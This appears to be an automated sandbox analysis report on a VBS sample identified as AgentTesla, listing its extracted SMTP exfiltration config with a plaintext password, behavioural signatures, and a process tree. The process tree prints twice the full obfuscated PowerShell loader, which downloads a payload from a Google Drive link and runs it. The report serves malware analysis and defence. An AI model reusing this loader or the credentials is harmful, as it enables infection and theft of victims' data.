Analysis
- max time kernel
149s - max time network
142s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
07/06/2024, 05:48
General
- Target PYT W2471234-MLIG.vbs
- Size 26KB
- Sample240607-ghfwcsbe88
- SHA256 d1f2b9d526e525c0606a0e51ffbab653385f39cfe51a72db6c4aae7e980e49ab
Score
10/10
Malware Config
Extracted
Family
-
agenttesla
Credentials
-
Protocol
smtp
-
Host
mail.myhydropowered.com
-
Port
587
-
Username
-
Password
0TFiRgPxmCJcdSB
-
Email to
Signatures
- AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
- Blocklisted process makes network request 3 IoCs
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PYT W2471234-MLIG.vbs"1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Stavene = 1;Function Curette($Narcotizing){$Osteichthyes=$Narcotizing.Length-$Stavene;$Filantroper='Substring';For( $Skematiserendes=7;$Skematiserendes -lt $Osteichthyes;$Skematiserendes+=8){$Bevaegelsesfriheden+=$Narcotizing.$Filantroper.Invoke( $Skematiserendes, $Stavene);}$Bevaegelsesfriheden;}function Piso($Granulomas){ & ($Gyses) ($Granulomas);}$Faulds=Curette 'RugbyprMPentacuo acropozCorelatiInterstlRecondilStrav,iaEatover/Pseudes5 Reflex. Halvtr0Kiskato Decasyl(B.lladeWdi couniEnf owen Sp fludKontra.oXviiipawIndkomssGiring No,matiN nbonnyTGal,ebr Stilebo1E.bedsm0Skin al.Skol,hj0Anti.hi;condylo HalluciW skoleuiMennesknAdj,stm6 Unsh n4Udmatri;Ansttel Te,stilxB,kgear6stegema4Homiest;Salgsas AcraniarSupercevUdvik,i: pover.1Motorca2Fry esk1 Udrken.Skydemo0Forklud)Kvierib So enerGUdsvedeePlayletcConfed.kS,alteaoLasslor/embar.o2Paleobo0 Reargu1Liche.i0Haandsk0 Parall1Bi.ocul0 Rykke,1Disserv S,rmfelFIndskrii ZoochergoonchdeJapano,fUltraouoBer.menxSlyngle/Messing1Throniz2pligtar1Scarcel.Sk,ubbe0Priorat ';$hammerlike=Curette 'Heaba iUPutlogsssvo.lpleOpfandtrcategor- .ncogeAKarakadgRestaureTrehjulnMcintyrt Un.onu ';$Grassiness=Curette 'Landbruh UnsolvtElisesftCropmanpUnfervisPiecene: Kontor/Egetrsd/sproglrdForsgsurclabu,aiStretc,vSkatteleThyrsoi. RansaggArkivaroBa,terioKldedraggalvanolStraffeeFar.efa. Basilicaf.tandoNaadersmHyldebr/L.kontoucohostecDefibri?Triangue StngerxIndk,lip ombinaoCroceaprGabl,botgodsban=WhetsmydCymbelsoErrantnwperiod.nBehfte,lPrdispooTr.somoaOu.kickdLa djor&Borgersi VidnendSkit,er=Post,ro1Forh.elzHipperub I,lakej Soomb,AUnive s_UnperplDunderb,AO visesUOr isnanRitschluBindstrtFilmsel4Reba.aboShoo,er7PlanfulYGningerq rysedir Badede2T.tster8 Fyrl mxE.spreseBe alinu Fac.tlEFedti,dAFlakses6 g.mnurTopfatte5DisenthBEquinoxWCincturX TylebetOut oin4 Sharp ';$Savfiskens=Curette ' .oviti> .axers ';$Gyses=Curette 'Sfyrb,ei SvedereHaplon,xMalerku ';$Trampolins='Immunoglobulin';$Patagonia = Curette 'Queen.oeOut.laycUnbew.lhSmudstioAnnu ci Lseprve%EloxereaBladetup.rocathpEksamendRdeh.vsaKomm,nttChurlisaBeta el%Bongsya\InterdaSNeuropslUncorreeIndentmuDeclivit EskadrhSepuchriBinderinRightengLevneds. hysicaBBivaanei.orensolidmmels Metallu&Skurvog&Goatish CroupiePseudapcNomadesh ,raadro Stenbe LggetratOccipit ';Piso (Curette 'Fdnamec$WillouggmonocyslEn.agedo MikaovbPliengeaPin,ernlOx.sulp:SolvencADerriesfcircumfgSumpegnrSkaalenu Geometn abyhoodSalgsdie Skankes tartko2Hec,ome3seni,de8Ne tori=Samlede( KrydsscSvine.emMac.lopdUndigni Ruddisa/sceneinc Krydsr Ca eter$FladbrnPAfsketuaBortadotAdvok taOverbrigcalabasodatamasn AftrykiJustle a Sporad)thulirb ');Piso (Curette 'Dowerin$Loui.esgApologil CifferoTritanobstagnatatrepon lFleshpo:BehaariTSdningeaBrodersbHjlpelsuW verdel ellsiaEndogentCloverloUlvinderp osphalCont,apiEnclavenProjectjp ysicoeFencedcnSteamle= Meddle$BssemagGPropounr Kamer,aFly,eles indtas,enialsiselvedgnBathybie alkulasPharmacsGrafikb.S.prabasLweimespSle ezblKaffemriShakoantEkshibi(Dyschro$ MattinSfantaseaJoseffavSkinpr fReexam iVurd,risInfuserkunpriv eUdvandinTypos,lsThru.mi)B.gning ');$Grassiness=$Tabulatorlinjen[0];$Strmhvirvelen= (Curette 'Br.ttol$SkridtkgVent,iclTugtigpo RecensbSkraastaspisebllEftertr: ArvemsANavnelilA,glutieKuffe,tkErinit,sR.ddsmaaPonerapn SubsiddMikroskrMe,hania Dugways Antikl= GuardeNKrishnaeGanofsawReaumur-EksportOConversbAfglattjGruppeseSettlemcIllingttBakte i KledyreSDo.belty TarsalsUn,ppaltBesmreleBlennormPeckled.LevitteNyi,ringeboracoutBest kn.MetalliW .egnineMinusseb MenuinCMisvouclAndrogoiSkibsskevov.tulnD,maalmt');$Strmhvirvelen+=$Afgrundes238[1];Piso ($Strmhvirvelen);Piso (Curette 'Vedlg.e$rugbrdeASyndesml SkocreeTordenbkwilliamsCigarsgaBaadudsnFjumreddglasfibr skovjoapaaskynsBroderp. Diplo,HPholadaeHykle.haPa asitdK.desegeDommersrKosaksss Garden[ Markjo$BarwoodhN.kletsaForldremProt,stmBiflodeeBrunkulrsulp.atl Lipo.yiSchenklkamniocleCh.fpsy]Udgangs=S,rumos$IndoptaFShrewdnaScapulouSpadserlFoderrodKlpulves Ti pla ');$cepes=Curette 'Sf,gato$ToparchAClutterl subkule panterkVaagelasEnvelopaNong,acnLactucad insolvrskovhytaM ctroisHa,elyu.NicetisD .attleo AdkomswE.ospecn KvlninlExtramooPlott.naSlatersd aggresF furledi,llestrlCubb.piePorno i(Sponsor$etikettG UmodenrCountenaFlintinsNedrustsFo,vandiSnustelnReheatse aescu,s spunchsDeklare,Mikroko$bamle.dS Ube.tikSubeditonitrifivKo.mandrFlangenaCodaernnr,nsninkStria ieAbdicern C,nseq)Ivarskn ';$Skovranken=$Afgrundes238[0];Piso (Curette 'Udverle$ CentragFjeldetlElektr osemiansbUpflareaRastedolBlystve: NostriRDanskeso Gr,ndekTysklaneAfmatterTh.reoiiForkednnCentimogN,tekine ,nquisrPrintinnslakinbeBrutto =vmmelig(PostcomTRecognieS,yldsfs Unvoict Troglo-FundameP rmlngdaMedaljotFores,ahHydroly Li.edan$JogningS UdstemkFugl peoXtechamvRegensprU,landsaExtenson StandskRouss.aeK,jakronbred ag)Fl.tteb ');while (!$Rokeringerne) {Piso (Curette 'Ta.erua$OneberrgsemimonlHiedfrioNoninfubPrep,tea uncuralLogoetm:GodvillASal metltrdepudgHume.eve Dere,g=azotinb$ otanistSnedrivrG.rnngluForfatne H,mopt ') ;Piso $cepes;Piso (Curette ' I.deksSForsorgt e,eheraThinkinrJosiasbtBlindtr-CoeducaSAkti,itl,rganise ElitrteRadiu,tpObdukti L.mnant4acarolt ');Piso (Curette 'Unmenia$NebulosgElsdyrslRem,sseobyldensb Garci aMiscommlBrunel.: kridttRMorphotoBariu,skcalloweeAcade,ir Nebulii DyrepanCulminagCitatoreMarchelrDannelsnSubce,te Deerst=Kystvan(Pens.krTdewoolse L ngtosKnortsvt ohann-IdeforlPJustitsaFonct,otCarboxyhMe.ticu Tilre n$Un easiS Va.ernk FruitaoGlyngrevU sophirJulesalaUnexcepnBukl,ndkBallotaeRe ervan alvonk) Reconv ') ;Piso (Curette 'Amperia$Salida g S,inthlepitenooHatchetb SemiexaFodgadelQues io:Dis.rikRLobulete Sn,akspUerkl,eoSkille sFilmati1shuntmo9 Elveaa=Pretens$.ndeliggKeeshonlBeboerhoBetndelbDryfarma HeptaslBehandl:fanaticRC.mentsa,udlerbdEndoubtihvidvinlHelsidey.istingt Boligmt S oloneViliacorL.asends Lumbri+Extermi+Overprs%Transla$RationaTBoomedna DygtigbTrippeluUnderfll Po.lidaMarti,etPourprio nrovenr AscendlFamilieiIndsmrenFeber,nj UsselreDermatonBovovac.ExcretecBrintjooObsknituOffhandn IndelutSkump,a ') ;$Grassiness=$Tabulatorlinjen[$Repos19];}$rntgenerne=320967;$Broderparts=30890;Piso (Curette 'perjink$I,dkodeg B,planlUnguidao ScandabRefinanaGaussfilNakken,: WellhoDAkkadape UncoinlAkklimaoAdressemNonlegurH plomeaHaremina FolkeodSkattekeKrydstorExaminesSubinfe Stemple=Appeals NeuropG UltrareSubstantNgsteli-BotonnyCAlterero LemmennUnfallot Gynkole Drej,kn ungarrtBrunhed Mousser$InitialSC.techukTri,homoSjoflinvSust ntrForsor,aExaspern Didra.k Kl.ptoeHydrochnOdobenu ');Piso (Curette 'Skr,apu$LangtidgTyrannolUngarnsoAbecedabApiocriaKaibabfl Reap,e:CafeterMSad.lgja Eg.sted NygiftdLigkapel rancheeBrndsto F,ststo= Spraye Tragico[CosmozoS ,ongluyKar oissidrtsant EmpirieBetumblmOutbake. KursorCRosi ypoOrangernBoricokv Win oweLejesolrDagsvrmtSlangea]Skudder:Teno sa:oprustnFManganprRembouroDecre.imIdqthisBSigtelsa Natatos DrikkeeNglekni6Samd.if4UnderreSPatricitphialfur RingwoiLderingnDagsaktgDuksena(Lov.sas$TracheoDStrb,tseDestilllKing upoMangfolmKnnesterlassie,atarantuaGrupperdBis roeeAnovularDiastrosSkrmmev)Persuad ');Piso (Curette ',eukope$KreditlgHalterblRoekampo FjerpobKillinga GeniuslTyfonsv:AfbagenE KonditfJuleriefKabine iBugvggeePreenlasHyperba amtsska=Frifand Heidels[ AntropSOttetidyVrelsessKord.egtFor tadefrituremMar prv.Fl.ntebTVridemaeFortrinxVertikatWoodsto.Over.llEImpossinSnipjaccGastro.oUnderbedMeropssi Kra.ern ntisergK,apcel] Kallun:Tilgnge:CoinquiAUforklaSSmertegCSvulsteIDekorerI Schism.UdlngseGSti.hveeSkolerytThyroidSvoragortLegitimrCryptodi Annalin GassengUlovmed(Sagesse$FornuftMWho pehaB.tminidD,gpengd.orpurrlDrou ueeBankref)Gerundi ');Piso (Curette 'C.andel$Bi,aegggPsilosilGigavolo Gi nmabVi,ensbaRevalorlInexecu:F,uoridSHo.edropmorrowtn paniksdVallon.vPo itiviHe.eropdDyngvaad cubi,oeSerendirrivej rsPaleogr=Aukt.on$AlthougEPapegjefConn.rsfeksisteiDelelejeDeoxyges Figura.teaterssSquiraruIllustrbVealiersProponet GangarrProtektiLinne.sn TattoogSygelej(Lashnes$ PadlesrBlikkennModstantPrecentgRepetereSamme,knRvepelseNe rilerT tterenM,rgarieUredini,Aboshii$QuincunB OutskirIritiseoHjhederdAfhandleS,azilnrFisketepBygningaDiktermrForeteltAliyahasSkumslu) ,hrono ');Piso $Spndvidders;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sleuthing.Bil && echo t"3⤵
-
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Stavene = 1;Function Curette($Narcotizing){$Osteichthyes=$Narcotizing.Length-$Stavene;$Filantroper='Substring';For( $Skematiserendes=7;$Skematiserendes -lt $Osteichthyes;$Skematiserendes+=8){$Bevaegelsesfriheden+=$Narcotizing.$Filantroper.Invoke( $Skematiserendes, $Stavene);}$Bevaegelsesfriheden;}function Piso($Granulomas){ & ($Gyses) ($Granulomas);}$Faulds=Curette 'RugbyprMPentacuo acropozCorelatiInterstlRecondilStrav,iaEatover/Pseudes5 Reflex. Halvtr0Kiskato Decasyl(B.lladeWdi couniEnf owen Sp fludKontra.oXviiipawIndkomssGiring No,matiN nbonnyTGal,ebr Stilebo1E.bedsm0Skin al.Skol,hj0Anti.hi;condylo HalluciW skoleuiMennesknAdj,stm6 Unsh n4Udmatri;Ansttel Te,stilxB,kgear6stegema4Homiest;Salgsas AcraniarSupercevUdvik,i: pover.1Motorca2Fry esk1 Udrken.Skydemo0Forklud)Kvierib So enerGUdsvedeePlayletcConfed.kS,alteaoLasslor/embar.o2Paleobo0 Reargu1Liche.i0Haandsk0 Parall1Bi.ocul0 Rykke,1Disserv S,rmfelFIndskrii ZoochergoonchdeJapano,fUltraouoBer.menxSlyngle/Messing1Throniz2pligtar1Scarcel.Sk,ubbe0Priorat ';$hammerlike=Curette 'Heaba iUPutlogsssvo.lpleOpfandtrcategor- .ncogeAKarakadgRestaureTrehjulnMcintyrt Un.onu ';$Grassiness=Curette 'Landbruh UnsolvtElisesftCropmanpUnfervisPiecene: Kontor/Egetrsd/sproglrdForsgsurclabu,aiStretc,vSkatteleThyrsoi. RansaggArkivaroBa,terioKldedraggalvanolStraffeeFar.efa. Basilicaf.tandoNaadersmHyldebr/L.kontoucohostecDefibri?Triangue StngerxIndk,lip ombinaoCroceaprGabl,botgodsban=WhetsmydCymbelsoErrantnwperiod.nBehfte,lPrdispooTr.somoaOu.kickdLa djor&Borgersi VidnendSkit,er=Post,ro1Forh.elzHipperub I,lakej Soomb,AUnive s_UnperplDunderb,AO visesUOr isnanRitschluBindstrtFilmsel4Reba.aboShoo,er7PlanfulYGningerq rysedir Badede2T.tster8 Fyrl mxE.spreseBe alinu Fac.tlEFedti,dAFlakses6 g.mnurTopfatte5DisenthBEquinoxWCincturX TylebetOut oin4 Sharp ';$Savfiskens=Curette ' .oviti> .axers ';$Gyses=Curette 'Sfyrb,ei SvedereHaplon,xMalerku ';$Trampolins='Immunoglobulin';$Patagonia = Curette 'Queen.oeOut.laycUnbew.lhSmudstioAnnu ci Lseprve%EloxereaBladetup.rocathpEksamendRdeh.vsaKomm,nttChurlisaBeta el%Bongsya\InterdaSNeuropslUncorreeIndentmuDeclivit EskadrhSepuchriBinderinRightengLevneds. hysicaBBivaanei.orensolidmmels Metallu&Skurvog&Goatish CroupiePseudapcNomadesh ,raadro Stenbe LggetratOccipit ';Piso (Curette 'Fdnamec$WillouggmonocyslEn.agedo MikaovbPliengeaPin,ernlOx.sulp:SolvencADerriesfcircumfgSumpegnrSkaalenu Geometn abyhoodSalgsdie Skankes tartko2Hec,ome3seni,de8Ne tori=Samlede( KrydsscSvine.emMac.lopdUndigni Ruddisa/sceneinc Krydsr Ca eter$FladbrnPAfsketuaBortadotAdvok taOverbrigcalabasodatamasn AftrykiJustle a Sporad)thulirb ');Piso (Curette 'Dowerin$Loui.esgApologil CifferoTritanobstagnatatrepon lFleshpo:BehaariTSdningeaBrodersbHjlpelsuW verdel ellsiaEndogentCloverloUlvinderp osphalCont,apiEnclavenProjectjp ysicoeFencedcnSteamle= Meddle$BssemagGPropounr Kamer,aFly,eles indtas,enialsiselvedgnBathybie alkulasPharmacsGrafikb.S.prabasLweimespSle ezblKaffemriShakoantEkshibi(Dyschro$ MattinSfantaseaJoseffavSkinpr fReexam iVurd,risInfuserkunpriv eUdvandinTypos,lsThru.mi)B.gning ');$Grassiness=$Tabulatorlinjen[0];$Strmhvirvelen= (Curette 'Br.ttol$SkridtkgVent,iclTugtigpo RecensbSkraastaspisebllEftertr: ArvemsANavnelilA,glutieKuffe,tkErinit,sR.ddsmaaPonerapn SubsiddMikroskrMe,hania Dugways Antikl= GuardeNKrishnaeGanofsawReaumur-EksportOConversbAfglattjGruppeseSettlemcIllingttBakte i KledyreSDo.belty TarsalsUn,ppaltBesmreleBlennormPeckled.LevitteNyi,ringeboracoutBest kn.MetalliW .egnineMinusseb MenuinCMisvouclAndrogoiSkibsskevov.tulnD,maalmt');$Strmhvirvelen+=$Afgrundes238[1];Piso ($Strmhvirvelen);Piso (Curette 'Vedlg.e$rugbrdeASyndesml SkocreeTordenbkwilliamsCigarsgaBaadudsnFjumreddglasfibr skovjoapaaskynsBroderp. Diplo,HPholadaeHykle.haPa asitdK.desegeDommersrKosaksss Garden[ Markjo$BarwoodhN.kletsaForldremProt,stmBiflodeeBrunkulrsulp.atl Lipo.yiSchenklkamniocleCh.fpsy]Udgangs=S,rumos$IndoptaFShrewdnaScapulouSpadserlFoderrodKlpulves Ti pla ');$cepes=Curette 'Sf,gato$ToparchAClutterl subkule panterkVaagelasEnvelopaNong,acnLactucad insolvrskovhytaM ctroisHa,elyu.NicetisD .attleo AdkomswE.ospecn KvlninlExtramooPlott.naSlatersd aggresF furledi,llestrlCubb.piePorno i(Sponsor$etikettG UmodenrCountenaFlintinsNedrustsFo,vandiSnustelnReheatse aescu,s spunchsDeklare,Mikroko$bamle.dS Ube.tikSubeditonitrifivKo.mandrFlangenaCodaernnr,nsninkStria ieAbdicern C,nseq)Ivarskn ';$Skovranken=$Afgrundes238[0];Piso (Curette 'Udverle$ CentragFjeldetlElektr osemiansbUpflareaRastedolBlystve: NostriRDanskeso Gr,ndekTysklaneAfmatterTh.reoiiForkednnCentimogN,tekine ,nquisrPrintinnslakinbeBrutto =vmmelig(PostcomTRecognieS,yldsfs Unvoict Troglo-FundameP rmlngdaMedaljotFores,ahHydroly Li.edan$JogningS UdstemkFugl peoXtechamvRegensprU,landsaExtenson StandskRouss.aeK,jakronbred ag)Fl.tteb ');while (!$Rokeringerne) {Piso (Curette 'Ta.erua$OneberrgsemimonlHiedfrioNoninfubPrep,tea uncuralLogoetm:GodvillASal metltrdepudgHume.eve Dere,g=azotinb$ otanistSnedrivrG.rnngluForfatne H,mopt ') ;Piso $cepes;Piso (Curette ' I.deksSForsorgt e,eheraThinkinrJosiasbtBlindtr-CoeducaSAkti,itl,rganise ElitrteRadiu,tpObdukti L.mnant4acarolt ');Piso (Curette 'Unmenia$NebulosgElsdyrslRem,sseobyldensb Garci aMiscommlBrunel.: kridttRMorphotoBariu,skcalloweeAcade,ir Nebulii DyrepanCulminagCitatoreMarchelrDannelsnSubce,te Deerst=Kystvan(Pens.krTdewoolse L ngtosKnortsvt ohann-IdeforlPJustitsaFonct,otCarboxyhMe.ticu Tilre n$Un easiS Va.ernk FruitaoGlyngrevU sophirJulesalaUnexcepnBukl,ndkBallotaeRe ervan alvonk) Reconv ') ;Piso (Curette 'Amperia$Salida g S,inthlepitenooHatchetb SemiexaFodgadelQues io:Dis.rikRLobulete Sn,akspUerkl,eoSkille sFilmati1shuntmo9 Elveaa=Pretens$.ndeliggKeeshonlBeboerhoBetndelbDryfarma HeptaslBehandl:fanaticRC.mentsa,udlerbdEndoubtihvidvinlHelsidey.istingt Boligmt S oloneViliacorL.asends Lumbri+Extermi+Overprs%Transla$RationaTBoomedna DygtigbTrippeluUnderfll Po.lidaMarti,etPourprio nrovenr AscendlFamilieiIndsmrenFeber,nj UsselreDermatonBovovac.ExcretecBrintjooObsknituOffhandn IndelutSkump,a ') ;$Grassiness=$Tabulatorlinjen[$Repos19];}$rntgenerne=320967;$Broderparts=30890;Piso (Curette 'perjink$I,dkodeg B,planlUnguidao ScandabRefinanaGaussfilNakken,: WellhoDAkkadape UncoinlAkklimaoAdressemNonlegurH plomeaHaremina FolkeodSkattekeKrydstorExaminesSubinfe Stemple=Appeals NeuropG UltrareSubstantNgsteli-BotonnyCAlterero LemmennUnfallot Gynkole Drej,kn ungarrtBrunhed Mousser$InitialSC.techukTri,homoSjoflinvSust ntrForsor,aExaspern Didra.k Kl.ptoeHydrochnOdobenu ');Piso (Curette 'Skr,apu$LangtidgTyrannolUngarnsoAbecedabApiocriaKaibabfl Reap,e:CafeterMSad.lgja Eg.sted NygiftdLigkapel rancheeBrndsto F,ststo= Spraye Tragico[CosmozoS ,ongluyKar oissidrtsant EmpirieBetumblmOutbake. KursorCRosi ypoOrangernBoricokv Win oweLejesolrDagsvrmtSlangea]Skudder:Teno sa:oprustnFManganprRembouroDecre.imIdqthisBSigtelsa Natatos DrikkeeNglekni6Samd.if4UnderreSPatricitphialfur RingwoiLderingnDagsaktgDuksena(Lov.sas$TracheoDStrb,tseDestilllKing upoMangfolmKnnesterlassie,atarantuaGrupperdBis roeeAnovularDiastrosSkrmmev)Persuad ');Piso (Curette ',eukope$KreditlgHalterblRoekampo FjerpobKillinga GeniuslTyfonsv:AfbagenE KonditfJuleriefKabine iBugvggeePreenlasHyperba amtsska=Frifand Heidels[ AntropSOttetidyVrelsessKord.egtFor tadefrituremMar prv.Fl.ntebTVridemaeFortrinxVertikatWoodsto.Over.llEImpossinSnipjaccGastro.oUnderbedMeropssi Kra.ern ntisergK,apcel] Kallun:Tilgnge:CoinquiAUforklaSSmertegCSvulsteIDekorerI Schism.UdlngseGSti.hveeSkolerytThyroidSvoragortLegitimrCryptodi Annalin GassengUlovmed(Sagesse$FornuftMWho pehaB.tminidD,gpengd.orpurrlDrou ueeBankref)Gerundi ');Piso (Curette 'C.andel$Bi,aegggPsilosilGigavolo Gi nmabVi,ensbaRevalorlInexecu:F,uoridSHo.edropmorrowtn paniksdVallon.vPo itiviHe.eropdDyngvaad cubi,oeSerendirrivej rsPaleogr=Aukt.on$AlthougEPapegjefConn.rsfeksisteiDelelejeDeoxyges Figura.teaterssSquiraruIllustrbVealiersProponet GangarrProtektiLinne.sn TattoogSygelej(Lashnes$ PadlesrBlikkennModstantPrecentgRepetereSamme,knRvepelseNe rilerT tterenM,rgarieUredini,Aboshii$QuincunB OutskirIritiseoHjhederdAfhandleS,azilnrFisketepBygningaDiktermrForeteltAliyahasSkumslu) ,hrono ');Piso $Spndvidders;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sleuthing.Bil && echo t"4⤵
-
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
Nookie45.txt
Nookie45.txt
__PSScriptPolicyTest_fo5k40ub.qpo.ps1
Sleuthing.Bil
memory/396-341-0x00000000062F0000-0x000000000633C000-memory.dmp
memory/396-345-0x0000000007520000-0x0000000007542000-memory.dmp
memory/396-348-0x0000000008D20000-0x000000000BD90000-memory.dmp
memory/396-325-0x0000000002990000-0x00000000029C6000-memory.dmp
memory/396-326-0x0000000005540000-0x0000000005B68000-memory.dmp
memory/396-327-0x0000000005410000-0x0000000005432000-memory.dmp
memory/396-329-0x0000000005C50000-0x0000000005CB6000-memory.dmp
memory/396-339-0x0000000005DC0000-0x0000000006114000-memory.dmp
memory/396-328-0x0000000005BE0000-0x0000000005C46000-memory.dmp
memory/396-340-0x00000000062A0000-0x00000000062BE000-memory.dmp
memory/396-344-0x00000000075C0000-0x0000000007656000-memory.dmp
memory/396-343-0x0000000006850000-0x000000000686A000-memory.dmp
memory/396-342-0x0000000007B40000-0x00000000081BA000-memory.dmp
memory/396-346-0x0000000008770000-0x0000000008D14000-memory.dmp
memory/1936-321-0x00007FFF0B330000-0x00007FFF0BDF1000-memory.dmp
memory/1936-310-0x00007FFF0B333000-0x00007FFF0B335000-memory.dmp
memory/1936-317-0x0000024A47210000-0x0000024A47232000-memory.dmp
memory/1936-322-0x00007FFF0B330000-0x00007FFF0BDF1000-memory.dmp
memory/1936-349-0x00007FFF0B330000-0x00007FFF0BDF1000-memory.dmp
memory/1936-366-0x00007FFF0B330000-0x00007FFF0BDF1000-memory.dmp
memory/2324-363-0x0000000000A80000-0x0000000000AC2000-memory.dmp
memory/2324-362-0x0000000000A80000-0x0000000001CD4000-memory.dmp
memory/2324-368-0x0000000023130000-0x00000000231C2000-memory.dmp
memory/2324-369-0x0000000023020000-0x000000002302A000-memory.dmp
memory/2324-367-0x0000000023040000-0x0000000023090000-memory.dmp